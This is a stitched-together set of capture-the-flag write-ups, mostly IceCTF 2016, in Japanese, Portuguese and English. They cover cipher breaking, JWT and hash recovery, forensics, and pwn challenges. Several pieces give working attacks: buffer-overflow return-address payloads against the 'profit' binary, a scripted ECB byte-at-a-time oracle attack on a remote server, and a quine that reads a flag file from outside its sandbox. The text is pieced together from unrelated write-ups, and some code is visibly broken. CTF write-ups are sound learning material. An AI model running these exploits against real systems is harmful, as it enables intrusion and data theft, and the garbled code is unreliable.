謎の行列みたいなのがおいてある。そのままではどうしようもないので、とりあえず matrix encryption とかで検索すると、 Hill Cipher が出てきて問題名とも合致。というわけで Hill Cipher の Wikipedia の記事を見ながら解く。mod Nでの逆行列の計算に戸惑うが、ウェブ検索した結果見つけた動画（https://www.youtube.com/watch?v=LhBovzm4Ajs ）では、普通の逆行列に近い処理をしていた。普通の逆行列は numpy なるツールで計算できそうなので、確認しながら最終的には以下のようなコードに。 #!/usr/bin/python import numpy alphabet = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123456789_{}"N = len(alphabet) matrix = [[54, 53, 28, 20, 54, 15, 12, 7], [32, 14, 24, 5, 63, 12, 50, 52], [63, 59, 40, 18, 55, 33, 17, 3], [63, 34, 5, 4, 56, 10, 53, 16], [35, 43, 45, 53, 12, 42, 35, 37], [20, 59, 42, 10, 46, 56, 12, 61], [26, 39, 27, 59, 44, 54, 23, 56], [32, 31, 56, 47, 31, 2, 29, 41]] ciphertext = "7Nv7}dI9hD9qGmP}CR_5wJDdkj4CKxd45rko1cj51DpHPnNDb__EXDotSRCP8ZCQ" # cf: http://arc360.info/algo/privatekey.htmldef euclidean(x, y): x1 = 1 y1 = 0 z1 = x x2 = 0 y2 = 1 z2 = y while z2 != 1: q = (z1 - (z1 % z2)) / z2 x1 = x1 - q * x2 y1 = y1 - q * y2 z1 = z1 - q * z2 x1, y1, z1, x2, y2, z2 = x2, y2, z2, x1, y1, z1 while x2 < 0: x2 += y return x2 alphabet_to_number = {} for i in range(0, len(alphabet)): alphabet_to_number[alphabet[i]] = i # https://www.youtube.com/watch?v=LhBovzm4Ajsdet = numpy.around(numpy.linalg.det(matrix)).astype(numpy.int64)inv = numpy.around(det * numpy.linalg.inv(matrix)).astype(numpy.int64) mul = euclidean(det, N)inv = mul * inv for i in range(0, len(inv)): for j in range(0, len(inv[i])): inv[i][j] = inv[i][j] % N ans = '' for j in range(0, 8): cipherarray = [] for i in range(0, len(inv)): cipherarray.append(alphabet_to_number[ciphertext[j * len(inv) + i]]) plain = numpy.dot(inv, cipherarray) for i in range(0, len(plain)): ans += alphabet % N] print ans |
#MatrixO arquivo era um txt contendo o seguinte texto:```0x000000000xff71fefe0x834800820xbb4140ba0xbb6848ba0xbb4a80ba0x832130820xff5556fe0xff5556fe0x00582e000x576fb9be0x707ef09e0xe74b41d60xa82c0f160x27a156900x8c6436280xbfcbf9760x4cd959aa0x2f43d73a0x5462300a0x572901060xb02ace5a0xef53f7fc0xef53f7fc0x00402e360xff01b6a80x83657e3a0xbb3b27fa0xbb5eaeac0xbb1017a00x8362672c0xff02a6500x00000000```
Ficamos muito tempo sem saber o que fazer, até que percebemos que, pelo número de linhas (33), poderia, TALVEZ, parecer um qrcode.Depois de muito apanhar, encontramos algumas colunas e linhas repetidas, e resolvemos assim:```$ var=$(wget -qO- https://play.icec.tf/problem-static/matrix_adf1a8f010f541cb171910f7afe1f86d41ce1669c51e318bb84c3c2e4397e2f4.txt | grep -v 0x00000000 | uniq | cut -f2 -dx)```
Mais um loop que nos daria a matriz de zero e um que usaríamos para construir o qr-codeComo gosto de tudo complicado, fiz em HTML, jogando um pipe HORRÍVEL após o loop:```$ for i in $var; do linha=$(echo -n $(echo "ibase=16; obase=2; ${i^^}"|bc)); # converte hexa pra binario linha=$(printf "%032s" "$linha" | tr ' ' '0' | cut -c1-7,9-22,24-); # padding de zeros a esquerda pra completar 32, removendo colunas 8 e 23 (repetidas) echo $linha;done | sed 's/^ //g' | sed 's/0/<td bgcolor="#FFFFFF" height="25" width="25"><\/td>/g;s/1/<td bgcolor="#000000" height="25" width="25"><\/td>/g;s/^/<tr>/g;s/$/<\/tr>/g' | sed '1i <table style="border:none !important; border-spacing:0px !important">' | sed -e "\$a</table>" > qrcode.htm```Depois foi só abrir o htm e scanear com o celular! |
現代的なマリファナ工場なるサイトが渡され、ログインすると「FBIによって止められた」とだけ書いてある。Cookie を見てみると jwt という名前がついた Cookie があり、検索すると検証機能付きの URL セーフなエスケープ方式で JWT というのがあった。ということで見つけたオンラインのデバッガに中身を入れると、フラグが出てきた。 |
RSA で、これまでと違ってとりあえず形式的には正しそうなパラメータが付与された。鍵も2048ビットあった。実は素数のどちらかが小さくて素因数分解できるのでは、と思って奇数で割り続けるプログラムを走らせたところ、予想通りすぐに素因数分解が完了した。というわけで、あとはその結果をもとに Wikipedia とかを見ながら暗号化解除。 #!/usr/bin/python N=0xee290c7a603fc23300eb3f0e5868d056b7deb1af33b5112a6da1edc9612c5eeb4ab07d838a3b4397d8e6b6844065d98543a977ed40ccd8f57ac5bc2daee2dec301aac508f9befc27fae4a2665e82f13b1ddd17d3a0c85740bed8d53eeda665a5fc1bed35fbbcedd4279d04aa747ac1f996f724b14f0228366aeae34305152e1f430221f9594497686c9f49021d833144962c2a53dbb47bdbfd19785ad8da6e7b59be24d34ed201384d3b0f34267df4ba8b53f0f4481f9bd2e26c4a3e95cd1a47f806a1f16b86a9fc5e8a0756898f63f5c9144f51b401ba0dd5ad58fb0e97ebac9a41dc3fb4a378707f7210e64c131bca19bd54e39bbfa0d7a0e7c89d955b1c9fe=0x10001c=0x3dbf00a02f924a70f44bdd69e73c46241e9f036bfa49a0c92659d8eb0fe47e42068eaf156a9b3ee81651bc0576a91ffed48610c158dc8d2fb1719c7242704f0d965f8798304925a322c121904b91e5fc5eb3dc960b03eb8635be53b995217d4c317126e0ec6e9a9acfd5d915265634a22a612de962cfaa2e0443b78bdf841ff901423ef765e3d98b38bcce114fede1f13e223b9bd8155e913c8670d8b85b1f3bcb99353053cdb4aef1bf16fa74fd81e42325209c0953a694636c0ce0a19949f343dc229b2b7d80c3c43ebe80e89cbe3a3f7c867fd7cee06943886b0718a4a3584c9d9f9a66c9de29fda7cfee30ad3db061981855555eeac01940b1924eb4c301 # cf: http://arc360.info/algo/privatekey.htmldef euclidean(x, y): x1 = 1 y1 = 0 z1 = x x2 = 0 y2 = 1 z2 = y while z2 != 1: q = (z1 - (z1 % z2)) / z2 x1 = x1 - q * x2 y1 = y1 - q * y2 z1 = z1 - q * z2 x1, y1, z1, x2, y2, z2 = x2, y2, z2, x1, y1, z1 while x2 < 0: x2 += y return x2 def decrypt_rsa(N, e, d, cipher): c_powers = [cipher] cur_power = 1 while cur_power <= d: tmp = c_powers[len(c_powers) - 1] c_powers.append((tmp * tmp) % N) cur_power *= 2 cur_power = 1 cur_pos = 0 ans = 1 while cur_power <= d: if d & cur_power > 0: ans *= c_powers[cur_pos] ans %= N cur_pos += 1 cur_power *= 2 return ans #i = 3i = 57970027 while True: if N%i==0: p=i q=N/p break i+=2 d = euclidean(e, (p-1)*(q-1)) ans = decrypt_rsa(N, e, d, c) ans_array = []while ans: ans_array.append(chr(ans % 256)) ans /= 256 ans_array.reverse() print ''.join(ans_array) |
#Time Traveler
Bastava consultar o cache da pagina http://time-traveler.icec.tf/ em http://web.archive.orgIceCTF{Th3y'11_n3v4r_f1||d_m4h_fl3g_1n_th3_p45t} |
Do you think you can make this program jump to somewhere it isn't supposed to? Where we're going we don't need buffers! /home/profit/ on the shell. Note that I made this after the competition had ended using a friends shell account as I didn't do it during the competition with my own credentials. As such he has peda added to gdb installed. I don't remember peda being installed when I solved it so I wrote the guide with that in mind, sticking to standard gdb commands. The peda output helps clarify the idea though so I left it in the pastes.- nullp0inter |
John is pretty happy with himself, he just made his first website! He used all the hip and cool systems, like NginX, PHP and Git! Everyone is so happy for him, but can you get him to give you the flag? |
Reversing usually indicates the challenge involves reverse engineering a compiled file (commonly and ELF file). By opening the downloaded file in a basic text editor (notepad, vim, nano, leafpad, etc.) the header indicates it is an ELF file. Google will tell you ELF files are native to Linux (there are no legitimate ELF emulators for other operating systems). I booted Oracle VirtualBox (VMware works too) in Kali Linux and uploaded the ELF file (as reversing.elf). Then simply run Strings reversing.elfand it will print out the contents of the ELF file. Scroll through and eventually you will find this string in reverse: tjctf{literally_reversing} |
# Complacent
O desafio era bem simples, a flag estava no certificado SSL do endereço https://complacent.vuln.icec.tf
```greyhound//deadcow ~/fun/icectf/Complacent % openssl s_client -connect complacent.vuln.icec.tf:443 | grep -oE 'IceCTF{.*}'depth=0 C = IS, ST = Kingdom of IceCTF, L = IceCTF city, O = Secret IceCTF Buisness Corp, OU = Flag: IceCTF{this_1nformation_wasnt_h1dd3n_at_a11}, CN = complacent.icec.tfverify error:num=18:self signed certificateverify return:1depth=0 C = IS, ST = Kingdom of IceCTF, L = IceCTF city, O = Secret IceCTF Buisness Corp, OU = Flag: IceCTF{this_1nformation_wasnt_h1dd3n_at_a11}, CN = complacent.icec.tfverify return:1IceCTF{this_1nformation_wasnt_h1dd3n_at_a11}IceCTF{this_1nformation_wasnt_h1dd3n_at_a11}IceCTF{this_1nformation_wasnt_h1dd3n_at_a11}IceCTF{this_1nformation_wasnt_h1dd3n_at_a11}^Cgreyhound//deadcow ~/fun/icectf/Complacent %``` |
# Search
Outro desafio bem simples, no descritivo ja deixava bem claro de que se tratava de uma entrada TXT no dominio.
```greyhound//deadcow ~/fun/icectf/Search % host -t TXT search.icec.tfsearch.icec.tf descriptive text "IceCTF{flag5_all_0v3r_the_Plac3}"greyhound//deadcow ~/fun/icectf/Search %``` |
Misc./IoT - 100 pts.Description<span>Category: Misc(iot and network)Points: 100Please analyze this pcap.<span>*file*Decrypt the downloaded file by the following command.> unzip files21.zip> openssl enc -d -aes-256-cbc -k gcCbBJN5pIHiL8JiJ8Xj -in files21.enc -out files21_ok.zip> unzip files21_ok.zip</span></span><span>After opening the file in wireshark, it seems that we are viewing the history of someone interacting with a machine using telnet. They attempt to login using default credentials like admin/admin, and finally succeed using an account called "reds". They then start to check things like users on the machine, disk space, and network connectivity. Eventually, we get to some ESP packets that were sent along an encrypted tunnel.<span>After doing some googling on ESP packets, I found a Wireshark forum thread about decrypting ESP packets: https://ask.wireshark.org/questions/12019/how-can-i-decrypt-ikev1-andor-esp-packets</span>Basically following those exact instructions allowed me to decrypt the packets and see what the attacker was up to. Luckily, there was a packet that showed the encryption/authentication keys in plaintext. We can see that the results show a few HTTP GET requests, and of particular interest is a request for "/img/flag.png". Grabbing that image gives us our flag.</span> |
# Pretty Pixels
O desafio consistia em extrair um PNG de dentro de outro PNG defeituoso, utilizei a ferramenta zsteg que procura diversos tipos de esteganografia, neste caso especifico o PNG **extra** estava no LSB do canal RGB
```greyhound//deadcow ~/fun/icectf/pretty_pixels % zsteg -a pretty_pixels.png | grep -i pngb8,rgb,lsb,xy .. file: PNG image data, 550 x 541, 8-bit/color RGBA, non-interlacedzsteg -a pretty_pixels.png 5.13s user 0.05s system 74% cpu 6.973 totalgrep --color=auto -i png 0.01s user 0.02s system 0% cpu 6.973 totalgreyhound//deadcow ~/fun/icectf/pretty_pixels % zsteg -e b8,rgb,lsb,xy pretty_pixels.png > extracted.pnggreyhound//deadcow ~/fun/icectf/pretty_pixels % feh extracted.png```
|
# Smashing profit
Buffer overflow simples,conseguimos reescrever o EIP após 76 bytes e então apontamos para o endereço da função flag:
```[ctf-99689@icectf-shell-2016 /home/profit]$ ./profit <<< $(python -c 'print "A"76+"\x0b\x85\x04\x08"')Smashing the stack for fun and...?IceCTF{who_would_have_thunk?}[1] 13172 segmentation fault ./profit <<< $(python -c 'print "A"76+"\x0b\x85\x04\x08"')[ctf-99689@icectf-shell-2016 /home/profit]$``` |
# IceCTF Solutions
This page contains some of the challenges I solved during IceCTF '16.
## Reconnaissance & Forensics### Complacement (40 p)
```These silly bankers have gotten pretty complacent with their self signed SSL certificate. I wonder if there's anything in there. [complacent.vuln.icec.tf]```
### Time Traveler (45 p)
```I can assure you that the flag was on this website (http://time-traveler.icec.tf) at some point in time. ```
Let us try the Wayback Machine!
### Audio problems (45 p)```We intercepted this audio signal, it sounds like there could be something hidden in it. Can you take a look and see if you can find anything? ```
In Audacity, we can get the spectrum:
Feels like I've solved this very same problem a couple of times now... get creative problem makers!
##Web### Toke (45 p)
I have a feeling they were pretty high when they made this [website](http://toke.vuln.icec.tf)...
We create an account and look at the tokens. There is a `jwt_token`, containing
```eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmbGFnIjoiSWNlQ1RGe2pXN190MEszbnNfNFJlX25PX3AxNENFX2ZPUl81M0NyRTdTfSIsInVzZXIiOiIxMjM0YWEifQ.tfe4bqNnoRb2OOd7KV88qov5Y6oe55Cs2knKLo28Z7s```
Let us decode it! Among other things, we get ```IceCTF{jW7_t0K3ns_4Re_nO_p14CE_fOR_53CrE7S}```### Kitty (80 p)
```They managed to secure their website this time and moved the hashing to the server :(.We managed to leak this hash of the admin's password though!
c7e83c01ed3ef54812673569b2d79c4e1f6554ffeb27706e98c067de9ab12d1a.
Can you get the flag? [kitty.vuln.icec.tf]```
OK, trying the most simple and obvious... reversing the hash works! The password is `Vo83*`. If we login as `admin` with the password we found, we see:
```Your flag is: IceCTF{i_guess_hashing_isnt_everything_in_this_world}```##Pwn### Demo (55 p)
```I found this awesome premium shell, but my demo version just ran out... can you help me crack it? /home/demo/ on the shell. ```
This is probably not the intended solution. Trying to execute `_=icesh && ./demo` does not work in `zsh`, but it does in `sh`. This requires no spoofing for `argv[0]`, and thus no execve code. Less work!
```[ctf-67751@icectf-shell-2016 /home/demo]$ sh$ _=icesh && ./demo$ cat flag.txtIceCTF{wH0_WoU1d_3vr_7Ru5t_4rgV}```
### Smashing Profit! (60 p)
```Do you think you can make this program jump to somewhere it isn't supposed to? Where we're going we don't need buffers!
/home/profit/ on the shell. ```
OK, let us go to the shell. Not surprisingly, `profit` suffers from a buffer overflow. Loading the binary into Hopper, we see that there is a subroutine @ `0x804850b` which would be suitable to call:
Here is how to exploit the buffer overflow to call the above function:
```[ctf-67751@icectf-shell-2016 /home/profit]$ python -c 'print "A"*76 + "\x08\x04\x85\x0b"[::-1]' | ./profitSmashing the stack for fun and...?IceCTF{who_would_have_thunk?}[1] 25262 done python -c 'print "A"*76 + "\x08\x04\x85\x0b"[::-1]' | 25263 segmentation fault ./profit```
### Quine I/II (90p / 125p)
This was a really entertaining challenge. The first idea was based on a false assumption, i.e., that the outputted code in the final iteration was not checked. Let us sketch the idea anyways. If we are able to store some data outside the code, we are able to count the iterations without altering the code. The stored data could be in an environment variable (but that turned out to be infeasible) or a file (we could create, read and write files in the sandbox where the code was running).
So, in pseudo code:
```pythonif 'some_file' exists: c = read('some_file') c += 1 if c < 19: print flag with system() call write('some_file', c)else: create('some_file') write('some_file', 0)```We noticed that the code is located in `./sandbox/[random token]-[time]`, so maybe the flag is `../../flag.txt`. This is of course a guess (which turns out to be correct). Encoding the above pseudo code as a quine, we get something like
```cconst char d[]={125,59,10,35,105,110,99,108,117,100,101,32,60,115,116,100,105,111,46,104,62,10,105,110,116,32,109,97,105,110,40,41,123,70,73,76,69,32,42,102,59,102,61,102,111,112,101,110,40,34,103,34,44,34,114,98,43,34,41,59,105,102,40,102,61,61,78,85,76,76,41,102,61,102,111,112,101,110,40,34,103,34,44,34,119,98,34,41,59,99,104,97,114,32,98,61,102,103,101,116,99,40,102,41,59,102,99,108,111,115,101,40,102,41,59,102,61,102,111,112,101,110,40,34,103,34,44,34,119,43,34,41,59,105,102,40,98,60,49,57,41,123,98,43,43,59,102,112,117,116,99,40,98,44,102,41,59,125,101,108,115,101,123,102,61,102,111,112,101,110,40,34,102,108,97,103,34,44,34,114,34,41,59,98,61,102,103,101,116,99,40,102,41,59,119,104,105,108,101,40,98,33,61,69,79,70,41,123,112,114,105,110,116,102,40,34,37,99,34,44,98,41,59,98,61,102,103,101,116,99,40,102,41,59,125,125,102,99,108,111,115,101,40,102,41,59,112,114,105,110,116,102,40,34,99,111,110,115,116,32,99,104,97,114,32,100,91,93,61,123,34,41,59,105,110,116,32,105,59,102,111,114,40,105,61,48,59,105,60,115,105,122,101,111,102,40,100,41,59,105,43,43,41,123,112,114,105,110,116,102,40,34,37,100,44,34,44,100,91,105,93,41,59,125,102,111,114,40,105,61,48,59,105,60,115,105,122,101,111,102,40,100,41,59,105,43,43,41,112,117,116,99,104,97,114,40,100,91,105,93,41,59,114,101,116,117,114,110,32,48,59,125,10,};#include <stdio.h>int main(){FILE *f;f=fopen("g","rb+");if(f==NULL)f=fopen("g","wb");char b=fgetc(f);fclose(f);f=fopen("g","w+");if(b<19){b++;fputc(b,f);}else{f=fopen("flag","r");b=fgetc(f);while(b!=EOF){printf("%c",b);b=fgetc(f);}}fclose(f);printf("const char d[]={");int i;for(i=0;i<sizeof(d);i++){printf("%d,",d[i]);}for(i=0;i<sizeof(d);i++)putchar(d[i]);return 0;}```
Obviously, this did not work. New strategy needed! If we can guess a char of the flag and write the guess to the submitted code, then read the corresponding char from `../../flag.txt` it will accept if and only if they match. So, where do we put our guess? We could put it in a string, but a simpler solution is to write it to a comment. We know that the flag begins with `IceCTF{`, so we can try out our hypothesis and be sure that it is correct. The following code can generate a quine for a certain guess:
```pythonimport sysguess = 'I' # the first char of the flaglength = 1data = '''};#include <stdio.h>int main(){printf("const char d[]={");int i;for(i=0;i<sizeof(d);i++){printf("%d,",d[i]);}for(i=0;i<sizeof(d);i++)putchar(d[i]);FILE *f;f=fopen("../../flag.txt","r");printf("//");for(i=0;i<'''+str(length)+''';i++){char b=fgetc(f);printf("%c",b);};return 0;}'''quine = 'const char d[]={'+''.join(str(ord(c))+',' for c in data) + data.strip('\n')+'//'+guess```
We call it with
```$ python quine_gen.py 1 | cat quine.c | nc quine.vuln.icec.tf 5500...//I```
Now this is where things get interesting! The code obviously works for `I`, but even for incorrect guesses. Also, it prints as many chars of the flag as we like! Seemingly, the server check actually ignores comments, i.e., chars after `//`. So, by setting the read length (`length = sys.argv[1]`) sufficiently large, we can submit auto-generated code as follows:
```$ python quine_gen.py 32 | cat quine.c | nc quine.vuln.icec.tf 5500...//IceCTF{the_flags_of_our_quines}
$ python quine_gen.py 55 | cat quine.c | nc quine.vuln.icec.tf 5501...//IceCTF{my_f1x3d_p0inT_br1nGs_alL_th3_n00bs_t0_th3_y4rD}```
Great! Two challenges solved with two almost identical quines :-D
##Crypto### RSA? (50 p)
```John was messing with RSA again... he encrypted our flag! I have a strong feeling he had no idea what he was doing however, can you get the flag for us? flag.txt```
OK, let us see that `flag.txt` contains
```$ cat flag.txt
N=0x180be86dc898a3c3a710e52b31de460f8f350610bf63e6b2203c08fddad44601d96eb454a34dab7684589bc32b19eb27cffff8c07179e349ddb62898ae896f8c681796052ae1598bd41f35491175c9b60ae2260d0d4ebac05b4b6f2677a7609c2fe6194fe7b63841cec632e3a2f55d0cb09df08eacea34394ad473577dea5131552b0b30efac31c59087bfe603d2b13bed7d14967bfd489157aa01b14b4e1bd08d9b92ec0c319aeb8fedd535c56770aac95247d116d59cae2f99c3b51f43093fd39c10f93830c1ece75ee37e5fcdc5b174052eccadcadeda2f1b3a4a87184041d5c1a6a0b2eeaa3c3a1227bc27e130e67ac397b375ffe7c873e9b1c649812edcd
e=0x1
c=0x4963654354467b66616c6c735f61706172745f736f5f656173696c795f616e645f7265617373656d626c65645f736f5f63727564656c797d
```
John used exponent `0x1`, so m is enevitably the same as c. Therefore, solving this challenge is no harder than `libnum.n2s(c)`, which prints ```IceCTF{falls_apart_so_easily_and_reassembled_so_crudely}```### RSA (60 p)
```This time John managed to use RSA " correctly "&ellipsis; I think he still made some mistakes though. flag.txt ```
Let us take a look...
```$ cat flag.txt
N=0x1564aade6f1b9f169dcc94c9787411984cd3878bcd6236c5ce00b4aad6ca7cb0ca8a0334d9fe0726f8b057c4412cfbff75967a91a370a1c1bd185212d46b581676cf750c05bbd349d3586e78b33477a9254f6155576573911d2356931b98fe4fec387da3e9680053e95a4709934289dc0bc5cdc2aa97ce62a6ca6ba25fca6ae38c0b9b55c16be0982b596ef929b7c71da3783c1f20557e4803de7d2a91b5a6e85df64249f48b4cf32aec01c12d3e88e014579982ecd046042af370045f09678c9029f8fc38ebaea564c29115e19c7030f245ebb2130cbf9dc1c340e2cf17a625376ca52ad8163cfb2e33b6ecaf55353bc1ff19f8f4dc7551dc5ba36235af9758b
e=0x10001
phi=0x1564aade6f1b9f169dcc94c9787411984cd3878bcd6236c5ce00b4aad6ca7cb0ca8a0334d9fe0726f8b057c4412cfbff75967a91a370a1c1bd185212d46b581676cf750c05bbd349d3586e78b33477a9254f6155576573911d2356931b98fe4fec387da3e9680053e95a4709934289dc0bc5cdc2aa97ce62a6ca6ba25fca6ae366e86eed95d330ffad22705d24e20f9806ce501dda9768d860c8da465370fc70757227e729b9171b9402ead8275bf55d42000d51e16133fec3ba7393b1ced5024ab3e86b79b95ad061828861ebb71d35309559a179c6be8697f8a4f314c9e94c37cbbb46cef5879131958333897532fea4c4ecd24234d4260f54c4e37cb2db1a0
d=0x12314d6d6327261ee18a7c6ce8562c304c05069bc8c8e0b34e0023a3b48cf5849278d3493aa86004b02fa6336b098a3330180b9b9655cdf927896b22402a18fae186828efac14368e0a5af2c4d992cb956d52e7c9899d9b16a0a07318aa28c8202ebf74c50ccf49a6733327dde111393611f915f1e1b82933a2ba164aff93ef4ab2ab64aacc2b0447d437032858f089bcc0ddeebc45c45f8dc357209a423cd49055752bfae278c93134777d6e181be22d4619ef226abb6bfcc4adec696cac131f5bd10c574fa3f543dd7f78aee1d0665992f28cdbcf55a48b32beb7a1c0fa8a9fc38f0c5c271e21b83031653d96d25348f8237b28642ceb69f0b0374413308481
c=0x126c24e146ae36d203bef21fcd88fdeefff50375434f64052c5473ed2d5d2e7ac376707d76601840c6aa9af27df6845733b9e53982a8f8119c455c9c3d5df1488721194a8392b8a97ce6e783e4ca3b715918041465bb2132a1d22f5ae29dd2526093aa505fcb689d8df5780fa1748ea4d632caed82ca923758eb60c3947d2261c17f3a19d276c2054b6bf87dcd0c46acf79bff2947e1294a6131a7d8c786bed4a1c0b92a4dd457e54df577fb625ee394ea92b992a2c22e3603bf4568b53cceb451e5daca52c4e7bea7f20dd9075ccfd0af97f931c0703ba8d1a7e00bb010437bb4397ae802750875ae19297a7d8e1a0a367a2d6d9dd03a47d404b36d7defe8469```
We have d (and ϕ), so `libnum.n2s(pow(c,d,N))` gives ```IceCTF{rsa_is_awesome_when_used_correctly_but_horrible_when_not}```### RSA2 (60 p)
```I guess the 3rd time is the charm? Or not... flag.txt
$ cat flag.txt
N=0xee290c7a603fc23300eb3f0e5868d056b7deb1af33b5112a6da1edc9612c5eeb4ab07d838a3b4397d8e6b6844065d98543a977ed40ccd8f57ac5bc2daee2dec301aac508f9befc27fae4a2665e82f13b1ddd17d3a0c85740bed8d53eeda665a5fc1bed35fbbcedd4279d04aa747ac1f996f724b14f0228366aeae34305152e1f430221f9594497686c9f49021d833144962c2a53dbb47bdbfd19785ad8da6e7b59be24d34ed201384d3b0f34267df4ba8b53f0f4481f9bd2e26c4a3e95cd1a47f806a1f16b86a9fc5e8a0756898f63f5c9144f51b401ba0dd5ad58fb0e97ebac9a41dc3fb4a378707f7210e64c131bca19bd54e39bbfa0d7a0e7c89d955b1c9f
e=0x10001
c=0x3dbf00a02f924a70f44bdd69e73c46241e9f036bfa49a0c92659d8eb0fe47e42068eaf156a9b3ee81651bc0576a91ffed48610c158dc8d2fb1719c7242704f0d965f8798304925a322c121904b91e5fc5eb3dc960b03eb8635be53b995217d4c317126e0ec6e9a9acfd5d915265634a22a612de962cfaa2e0443b78bdf841ff901423ef765e3d98b38bcce114fede1f13e223b9bd8155e913c8670d8b85b1f3bcb99353053cdb4aef1bf16fa74fd81e42325209c0953a694636c0ce0a19949f343dc229b2b7d80c3c43ebe80e89cbe3a3f7c867fd7cee06943886b0718a4a3584c9d9f9a66c9de29fda7cfee30ad3db061981855555eeac01940b1924eb4c301
```
Looking up N on [factordb.com](http://factordb.com), we find that it has a very small factor 57970027. Hence, we may compute ϕ(N) = (57970027 - 1) × (N / 57970027 - 1). Finally, the secret exponent is d = e⁻¹ mod ϕ(N). Knowning this, we may decrypt c.
The code
```pythonphi = (57970027 - 1) * (N / 57970027 - 1)d = libnum.modular.invmod(e, phi)print libnum.n2s(pow(c, d, N))```
prints
```IceCTF{next_time_check_your_keys_arent_factorable}```
### l33tcrypt (90 p)
```l33tcrypt is a new and fresh encryption service. For added security it pads all information with the flag! Can you get it? nc l33tcrypt.vuln.icec.tf 6001 server.py```
The server AES encrypts a string S along with the flag and some padding and returns the BASE64 encoded, i.e., as outlined below.
```pythondef server(string): ciphertext = encrypt(string + flag + padding) return b64encode(ciphertext)```
The AES encryption function operates on blocks of size 128 bits. Assume that we have a block as follows, where we have padded the plaintext with `AAAAAAAAAAAAAAAA` and where `???...` corresponds to the flag. The last char in the block is the first byte of the flag.
```
... AAAAAAAAAAAAAAAA? ????????????????|----------------|-----------------|----------------|
0xb4ff343...
```
We save the current block value `0xb4ff343...`. Now, we run the guessing procedure:
```
... AAAAAAAAAAAAAAAAx ????????????????|----------------|-----------------|----------------|
x = 'G' 0x57388f8... x = 'H' 0x343409f... X = 'I' 0xb4ff343... <-- correct guess
```
Obviously, we can choose a block `AAAAAAAAAAAAAAA??` and guess the second byte and so forth until the whole flag is found. We may implement it in Python as follows:
```pythonimport base64, socket, string
magic = 'l33tserver please'
def oracle(plaintext): s = socket.create_connection(('l33tcrypt.vuln.icec.tf', 6001)) s.recv(1024) s.recv(1024) s.send(base64.b64encode(magic + plaintext) + '\n') s.recv(1024) return base64.b64decode(s.recv(1024)) known_prefix = 'IceCTF{'
print '[+] Running trying plaintexts...'
while True:
i = 16 * 4 - 2 - len(known_prefix)
reference = oracle(i * 'A')[0:80] for guess in '_' + string.ascii_letters + string.digits + '}': if reference == oracle(i * 'A' + known_prefix + guess)[0:80]: known_prefix = known_prefix + guess print known_prefix break if guess == '}': print '[+] DONE!' break```
The code takes some time to run (could be threaded for improved performance). When it is done, it will have given the flag ```IceCTF{unleash_th3_Blocks_aNd_find_what_you_seek}```### Over the Hill (65 p)
```Over the hills and far away... many times I've gazed, many times been bitten. Many dreams come true and some have silver linings, I live for my dream of a decrypted flag. crypted ```
We are given a matrix and a ciphertext
```pythonsecret = [[54, 53, 28, 20, 54, 15, 12, 7], [32, 14, 24, 5, 63, 12, 50, 52], [63, 59, 40, 18, 55, 33, 17, 3], [63, 34, 5, 4, 56, 10, 53, 16], [35, 43, 45, 53, 12, 42, 35, 37], [20, 59, 42, 10, 46, 56, 12, 61], [26, 39, 27, 59, 44, 54, 23, 56], [32, 31, 56, 47, 31, 2, 29, 41]] ciphertext = "7Nv7}dI9hD9qGmP}CR_5wJDdkj4CKxd45rko1cj51DpHPnNDb__EXDotSRCP8ZCQ"```
Looks like a Hill cipher... the name vaguely suggests it... :-)
```python
import numpyfrom sage.all import *
alphabet = ("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123456789_{}")n = len(alphabet)
Zn = IntegerModRing(n)
secret = [[54, 53, 28, 20, 54, 15, 12, 7], [32, 14, 24, 5, 63, 12, 50, 52], [63, 59, 40, 18, 55, 33, 17, 3], [63, 34, 5, 4, 56, 10, 53, 16], [35, 43, 45, 53, 12, 42, 35, 37], [20, 59, 42, 10, 46, 56, 12, 61], [26, 39, 27, 59, 44, 54, 23, 56], [32, 31, 56, 47, 31, 2, 29, 41]]
secret = matrix(Zn, secret).inverse()ciphertext = "7Nv7}dI9hD9qGmP}CR_5wJDdkj4CKxd45rko1cj51DpHPnNDb__EXDotSRCP8ZCQ"
blocks = [ciphertext[i : i + secret.ncols()] for i in range(0, len(ciphertext), secret.ncols())]
plaintext = ''
for block in blocks: decrypted_block = secret * matrix(Zn, [alphabet.find(c) for c in block]).transpose() plaintext += ''.join(alphabet[int(i[0])] for i in decrypted_block) print plaintext
```
Invoked with `sage -python over_the_hill.py` gives ```IceCTF{linear_algebra_plus_led_zeppelin_are_a_beautiful_m1xture}```### Round Rabins (70 p)
Breaking Rabin cryptosystem is hard if the primes were chosen properly. This is probably the flaw here, or the challenge would be computationally hard. Lets try [factordb.com](http://factordb.com). It reports that `N` is square. OK, great.
```python
import libnum
N = 0x6b612825bd7972986b4c0ccb8ccb2fbcd25fffbadd57350d713f73b1e51ba9fc4a6ae862475efa3c9fe7dfb4c89b4f92e925ce8e8eb8af1c40c15d2d99ca61fcb018ad92656a738c8ecf95413aa63d1262325ae70530b964437a9f9b03efd90fb1effc5bfd60153abc5c5852f437d748d91935d20626e18cbffa24459d786601c = 0xd9d6345f4f961790abb7830d367bede431f91112d11aabe1ed311c7710f43b9b0d5331f71a1fccbfca71f739ee5be42c16c6b4de2a9cbee1d827878083acc04247c6e678d075520ec727ef047ed55457ba794cf1d650cbed5b12508a65d36e6bf729b2b13feb5ce3409d6116a97abcd3c44f136a5befcb434e934da16808b0b
x = libnum.common.nroot(N, 2)assert(N == x ** 2)
```
The code passes, so we are fine. Now, how do we solve a modular square root in squared prime modulus x²? First of all, we can solve the simpler problem in the smaller field Zₓ. We can use for instance PARI/GP `factor(x^2 - Mod(c%p,p))`. We now have the square roots
```pythonm1 = 1197994153960868322171729195459307471159014839759650672537999577796225328187763637327668629736211144613889331673398920144625276893868173955281904541942494m2 = p - m1```
We now need to lift it to square modulus, i.e., m₁ mod x². We achieve this as follows
```pythonq = (c - m1 ** 2) / pl = q * libnum.modular.invmod(2 * m1, p)m = m1 + l * p
print libnum.n2s(m % N)```
Running this, we get the flag```IceCTF{john_needs_to_get_his_stuff_together_and_do_things_correctly}```### Contract (130 p)
```Our contractors stole the flag! They put it on their file server and challenged us to get it back. Can you do it for us? nc contract.vuln.icec.tf 6002 server.py. We did intercept someone connecting to the server though, maybe it will help. contract.pcapng ```
